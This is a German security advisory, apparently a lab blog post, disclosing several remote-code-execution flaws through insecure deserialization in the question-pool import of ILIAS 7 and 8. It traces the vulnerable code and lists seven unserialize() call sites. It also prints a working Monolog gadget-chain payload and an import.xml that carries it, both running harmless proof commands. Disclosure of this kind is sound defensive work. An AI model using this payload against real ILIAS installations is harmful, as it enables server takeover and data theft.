Weitere Veröffentlichungen

In unserem Labor schreiben wir regelmäßig in Form von Blogbeiträgen über identifizierte Sicherheitslücken, welche nach dem Responsible Disclosure Verfahren veröffentlicht werden.

Veröffentlichung

ILIAS 7 & 8 - Mehrere Remote Code Execution Sicherheitslücken in "Fragenpool für Tests" Import

13.08.2024 - Rene Rehme

Im Zuge eines Penetrationstests haben wir mehrere Sicherheitslücken in ILIAS Version 7.30 und 8.9 identifiziert. Es handelt sich um Remote Code Execution (RCE) Sicherheitslücken, welche durch eine sog. Insecure Deserialization bewerkstelligt werden konnten. Eine RCE erlaubt einem Angreifer, serverseitig Code auszuführen.

Responsible Disclosure

2024 - Die Sicherheitslücke wurde identifiziert.

14. Mai. 2024 - Die Sicherheitslücke wurde an ILIAS gemeldet.

24. Mai. 2024 - ILIAS open source e-Learning e.V merkt an: Sicherheitsupdates werden nur noch für die ILIAS-Versionen 8, 9 und 10 (trunk) berücksichtigt.

Allgemeine Beschreibung

Vulnerabel ist das Modul QuestionPool (Fragenpool für Tests) bzw. die Import Funktionalität dieses Moduls in ILIAS <= 8.9. Ein potenzieller Angreifer kann bei einer Ausnutzung dieser Sicherheitslücke serverseitig Code ausführen. Die Voraussetzung einer Ausnutzung ist ein User-Account mit den Rechten write und read, für die Erstellung und das Einsehen eines Fragepools für Tests.

 

Die Remote Code Execution (RCE) wird durch die vom Benutzer bereitgestellten Eingaben ermöglicht, da diese ungefiltert an eine PHP-Funktion unserialize() übergeben werden.

Proof of Concept (PoC)

Folgend die Logik, welche bei einem Import in ILIAS 8 bis zur betreffenden PHP-Funktion unserialize() durchläuft:

class.ilObjQuestionPoolGUI.php
public function uploadQplObject($questions_only = false)
{
	[...]
    ilUtil::moveUploadedFile($_FILES["xmldoc"]["tmp_name"], $_FILES["xmldoc"]["name"], $full_path);
	[...]
    if (strcmp($_FILES["xmldoc"]["type"], "text/xml") == 0) {
        $qti_file = $full_path;
        ilObjTest::_setImportDirectory($basedir);
    } else {
        // unzip file
        ilUtil::unzip($full_path);

        // determine filenames of xml files
        $subdir = basename($file["basename"], "." . $file["extension"]);
        ilObjQuestionPool::_setImportDirectory($basedir);
        $xml_file = ilObjQuestionPool::_getImportDirectory() . '/' . $subdir . '/' . $subdir . ".xml";
        $qti_file = ilObjQuestionPool::_getImportDirectory() . '/' . $subdir . '/' . str_replace("qpl", "qti", $subdir) . ".xml";
    }
	[...]
    $_SESSION["qpl_import_xml_file"] = $xml_file;
    [...]
}

Über die Methode uploadQplObject() wird die Import-Datei via $_FILES["xmldoc"]; behandelt. Dabei wird die hochgeladene Import-Datei (.zip) in ein Import Verzeichnis verschoben [1] und entpackt [2]. Der Pfad zum XML file wird bestimmt [3], um anschließend in einer Session qpl_import_xml_file [4] hinterlegt zu werden.

public function importVerifiedFileObject()
{
    if ($_POST["questions_only"] == 1) {
        [...]
    } else {
        include_once("./Modules/TestQuestionPool/classes/class.ilObjQuestionPool.php");
        // create new questionpool object
        $newObj = new ilObjQuestionPool(0, true);
        [...]
    }   
    if (is_file($_SESSION["qpl_import_dir"] . '/' . $_SESSION["qpl_import_subdir"] . "/manifest.xml")) {
        [...]
    } else {
        [...]
        // import page data
        if (strlen($_SESSION["qpl_import_xml_file"])) {
  			[...]
            $newObj->fromXML($_SESSION["qpl_import_xml_file"]);
        }
        [...]
    }
    [...]
}

 Ein ilObjQuestionPool Objekt wird initialisiert [1] und das XML aus der Session an die Methode fromXML() [2] übergeben. 

class.assTextQuestionImport.php
public function fromXML(&$item, $questionpool_id, &$tst_id, &$tst_object, &$question_counter, &$import_mapping)
{
    [...]
    if ($item->getMetadataEntry('termrelation') !== 'non'
        && $item->getMetadataEntry('termrelation') !== null) {
        $termscoring = $this->fetchTermScoring($item);
        [...]
    }
    [...]
}

In der Methode fromXML() wir u.a. überprüft, ob der Metatadata Eintrag termrelation gegeben ist und nicht non entspricht.  In der Import XML darf dieser Wert entsprechend nicht non, damit fetchTermScoring() [2] angesprochen wird. z.B.:

A part of the import XML
<qtimetadatafield>
    <fieldlabel>termrelation</fieldlabel>
    <fieldentry>1</fieldentry>
</qtimetadatafield>

Finale Codeausführung durch unserialize()

class.SurveyMatrixQuestion.php
protected function fetchTermScoring($item): array
{
    $termScoringString = $item->getMetadataEntry('termscoring');
    [...]
    $termScoring = @unserialize($termScoringString);
    [...]
    $termScoringString = base64_decode($termScoringString);
    $termScoring = unserialize($termScoringString);
    [...]
}

Die Funktion unserialize() wandelt den in der Variable $termScoringString [1] deklarierten String in eine Datenstruktur um. Da wir die Kontrolle über die Textdarstellung haben, können von uns definierte PHP-Objekte erstellt werden. 

 

Hintergrund: ILIAS erstellt bei einem Export für den Wert des Attributes fieldentry innerhalb von qtimetadatafield einen String, welcher beim termscoring Block ein serialisiertes PHP-Objekt darstellt. In umgekehrter Richtung wird die Textdarstellung bei einem Import in ein PHP-Objekt umgewandelt. PHP erledigt dies ohne jegliche Geschäftslogik via unserialize()

Es gibt mehrere Wege wie sich durch diese Begebenheit potenziell eine RCE ermöglichen lässt. Neben der denkbaren Ausnutzung von "Magic Methods" in ILIAS, haben wir eine Gadget chain verwendet. Da ILIAS Open-Source-Komponenten von Drittanbietern, wie z. B. Monolog verwendet, können bekannte Payloads verwendet werden. Alernativ könnte in der Geschäftslogik von ILIAS eine Möglichkeit zur Ausnutzung gesucht werden.

 

Hinweis: Die folgende serialized-payload enthält Nicht-ASCII-Bytes (Null-Byte Character), weshalb wir alle Strings in Hexadezimal konvertiert haben (Delimiter: \) .

Unserialize Payload
O:37:"Monolog\Handler\FingersCrossedHandler":3:{S:16:"\00\2a\00\70\61\73\73\74\68\72\75\4c\65\76\65\6c";i:0;S:9:"\00\2a\00\62\75\66\66\65\72";a:1:{S:4:"\74\65\73\74";a:2:{i:0;S:51:"\65\63\68\6f\20\27\45\78\70\6c\6f\69\74\20\73\75\63\63\65\73\73\66\75\6c\6c\79\20\65\78\65\63\75\74\65\64\27\20\3e\20\2f\74\6d\70\2f\70\6f\63\2e\74\78\74";S:5:"\6c\65\76\65\6c";N;}}S:10:"\00\2a\00\68\61\6e\64\6c\65\72";O:28:"Monolog\Handler\GroupHandler":1:{S:13:"\00\2a\00\70\72\6f\63\65\73\73\6f\72\73";a:2:{i:0;S:7:"\63\75\72\72\65\6e\74";i:1;S:6:"\73\79\73\74\65\6d";}}}

Relevant an dieser Payload ist der HEX String 65 63 68 6f 20 27 45 78 70 6c 6f 69 74 20 73 75 63 63 65 73 73 66 75 6c 6c 79 20 65 78 65 63 75 74 65 64 27 20 3e 20 2f 74 6d 70 2f 70 6f 63 2e 74 78 74 , welcher (übersetzt) dem folgenden CLI Command entspricht: echo 'Exploit successfully executed' > /tmp/poc.txt und via system() ausgeführt werden soll.

import.xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE questestinterop SYSTEM "ims_qtiasiv1p2p1.dtd">
<!--Generated by ILIAS XmlWriter-->
<questestinterop>
	<item ident="il_0_qst_6" title="test" maxattempts="0">
		[...]
		<itemmetadata>
			<qtimetadata>
				[...]
				<qtimetadatafield>
					<fieldlabel>termscoring</fieldlabel>
					<fieldentry>O:37:"Monolog\Handler\FingersCrossedHandler":3:{S:16:"\00\2a\00\70\61\73\73\74\68\72\75\4c\65\76\65\6c";i:0;S:9:"\00\2a\00\62\75\66\66\65\72";a:1:{S:4:"\74\65\73\74";a:2:{i:0;S:14:"\74\6f\75\63\68\20\2f\74\6d\70\2f\70\6f\63";S:5:"\6c\65\76\65\6c";N;}}S:10:"\00\2a\00\68\61\6e\64\6c\65\72";O:28:"Monolog\Handler\GroupHandler":1:{S:13:"\00\2a\00\70\72\6f\63\65\73\73\6f\72\73";a:2:{i:0;S:7:"\63\75\72\72\65\6e\74";i:1;S:6:"\73\79\73\74\65\6d";}}}</fieldentry>
				</qtimetadatafield>
				<qtimetadatafield>
					<fieldlabel>termrelation</fieldlabel>
					<fieldentry>1</fieldentry>
				</qtimetadatafield>
			</qtimetadata>
		</itemmetadata>
		[...]
	</item>
</questestinterop>

Die Payload wird entsprechend dem XML Tag <fieldentry> unter <qtimetadatafield> als Wert angegeben [1].

 

Abschließend kann das XML File gezippt und regulär über die Import Funktionalität Option 2: Fragenpool für Umfragen importieren hochgeladen werden.

Die Payload wird während des Imports bei der Datenverarbeitung im Hintergrund ausgeführt. Eine Überprüfung ob der Schadcode ausgeführt wurde, kann via cat /tmp/poc.txt auf dem Webserver erfolgen:

 

content image

Sicherheitslücken in ILIAS 7, die zu einer RCE führen

Neben der Klasse class.SurveyMatrixQuestion.php gibt es noch weitere zur Durchführung einer RCE. Je nachdem welcher Typ von Frage importiert wird, können auch folgende unserialize() Funktionen in ILIAS <= 7.30 getriggert und ausgenutzt werden. Insgesamt handelt es sich um 7 Möglichkeiten einer potenziellen Ausnutzung unterschiedlicher Aktionen:

different files
/Modules/SurveyQuestionPool/Questions/class.SurveyMatrixQuestion.php
  1405:    $this->layout = unserialize($layout);

/Modules/TestQuestionPool/classes/import/qti12/class.assErrorTextImport.php:
  54:    $errordata = unserialize($item->getMetadataEntry("errordata");
  
/Modules/TestQuestionPool/classes/import/qti12/class.assFlashQuestionImport.php:
  54:    $this->object->setParameters(unserialize($item->getMetadataEntry("params")));

/Modules/TestQuestionPool/classes/import/qti12/class.assFormulaQuestionImport.php:
  53:    $data = unserialize($item->getMetadataEntry($variable));

/Modules/TestQuestionPool/classes/import/qti12/class.assFormulaQuestionImport.php:
  62:    $data = unserialize($item->getMetadataEntry($result));

/Modules/TestQuestionPool/classes/import/qti12/class.assTextQuestionImport.php:
  236:    $termScoring = unserialize($termScoringString);

/Modules/TestQuestionPool/classes/import/qti12/class.assTextQuestionImport.php:
  243:    $termScoring = unserialize($termScoringString);

Auf eine Code-Aufschlüsslung wurde verzichtet. Die unserialize() Funktionen in den aufgzählten Klassen sind in ILIAS 7 ausnutzbar.

Auswirkungen

Diese Sicherheitslücke kann erhebliche Auswirkungen auf die Sicherheit der betroffenen ILIAS-Installation und des zugrunde liegenden Betriebssystem haben. Alle auf dem Server gespeicherten Daten, Dateien und Komponenten, die der Webserver-User mit gegebenen Rechten lesen, bearbeiten oder löschen kann, sind potenziell betroffen. Ein Angreifer, der diese Sicherheitslücke erfolgreich ausnutzt, könnte zudem das System beschädigen oder weitere Angriffe in Kombination anderer Sicherheitslücken durchführen.

Klassifikation

CWE-20 Improper Input Validation

CWE-502 Deserialization of Untrusted Data

Bewertung

Exploitability Metrics

Attack Vector (AV): N
Es handelt sich um einen Netzwerkangriff. Die verwundbare Komponente ist "aus der Ferne ausnutzbar" und wird als ein Angriff betrachtet, der auf Protokollebene über das Internet stattfindet.
 

Attack Complexity (AC): L
Besondere Zugangsbedingungen oder mildernde Umstände bestehen nicht.
 

Attack Requirements (AT): N
Es wird davon ausgehen, dass die Payload in den meisten Fällen erfolgreich ausgeführt wird. Es werden keine besonderen Einstellungen oder Konfigurationen vorrausgesetzt.
 

Privileges Required (PR): H
Der Angreifer benötigt Privilegien, die Benutzerfunktionen eines Users bereitstellen, welche genau genommen das Lesen und Schreiben von "Fragenpool für Tests" erlaubt. Für eine Ausnutzung reicht i.d.R ein Tutoren-Account. Wir haben die Metrik PR mit "High" gewertet, da zwar keine administrativen (Root) Rechte erforderlich sind, Tutoren-Rechte aber in den meisten Fällen nicht durch eine reguläre Account-Registrierung gegeben sind.

User Interaction (UI): N
Es ist keine User-Interaktion durch ein Opfer notwendig.

Vulnerable System Impact Metrics

Confidentiality (VC): H
Bei einen erfolgreichen Angriff kommt es zu einem totalen Verlust der Vertraulichkeit. Ressourcen innerhalb der betroffenen Komponente werden dem Angreifer bei gegebenem Lesezugriff und entsprechender Berechtigung durch den Webserver-User www-data offengelegt. Code wird serverseitig ausgeführt.
 

Integrity (VI): H
Bei einem erfolgreichen Angriff kommt es zu einem totalen Verlust der Integrität. Der Angreifer ist in der Lage Dateien der betroffenen Anwendung zu verändern. Code wird serverseitig ausgeführt.
 

Availability (VA): H
Bei einem erfolgreichen Angriff ist der Angreifer ist in der Lage, den Zugang zu den Ressourcen der betroffenen Applikation vollständig zu verweigern, indem z.B. Dateien oder Daten gelöscht werden. Code wird serverseitig ausgeführt.

Subsequent System Impact Metrics

Confidentiality (SC): H
Bei einem erfolgreichen Angriff kommt es zu einem totalen Verlust der Vertraulichkeit. Ressourcen und Komponenten des Betriebssystems werden dem Angreifer bei gegebenem Lesezugriff und entsprechender Berechtigung durch den Webserver-User www-data offengelegt. Der Zugriff wird z.B. auf MySQL, sonstige Komponenten oder andere Applikationen tendenziell ermöglicht. Code wird serverseitig ausgeführt.
 

Integrity (SI): H
Bei einem erfolgreichen Angriff kommt es zu einem totalen Verlust der Integrität. Der Angreifer ist in der Lage Dateien des Betriebssystems oder anderen Applikationen zu verändern. Code wird serverseitig ausgeführt.
 

Availability (SA): H
Bei einem erfolgreichen Angriff ist der Angreifer ist in der Lage, den Zugang zu den Ressourcen aus Komponenten des Betriebssystems oder ggf. anderen Applikationen vollständig zu verweigern, indem z.B. Dateien oder Daten mit den Rechten des Webserver-Users gelöscht werden. Code wird serverseitig ausgeführt.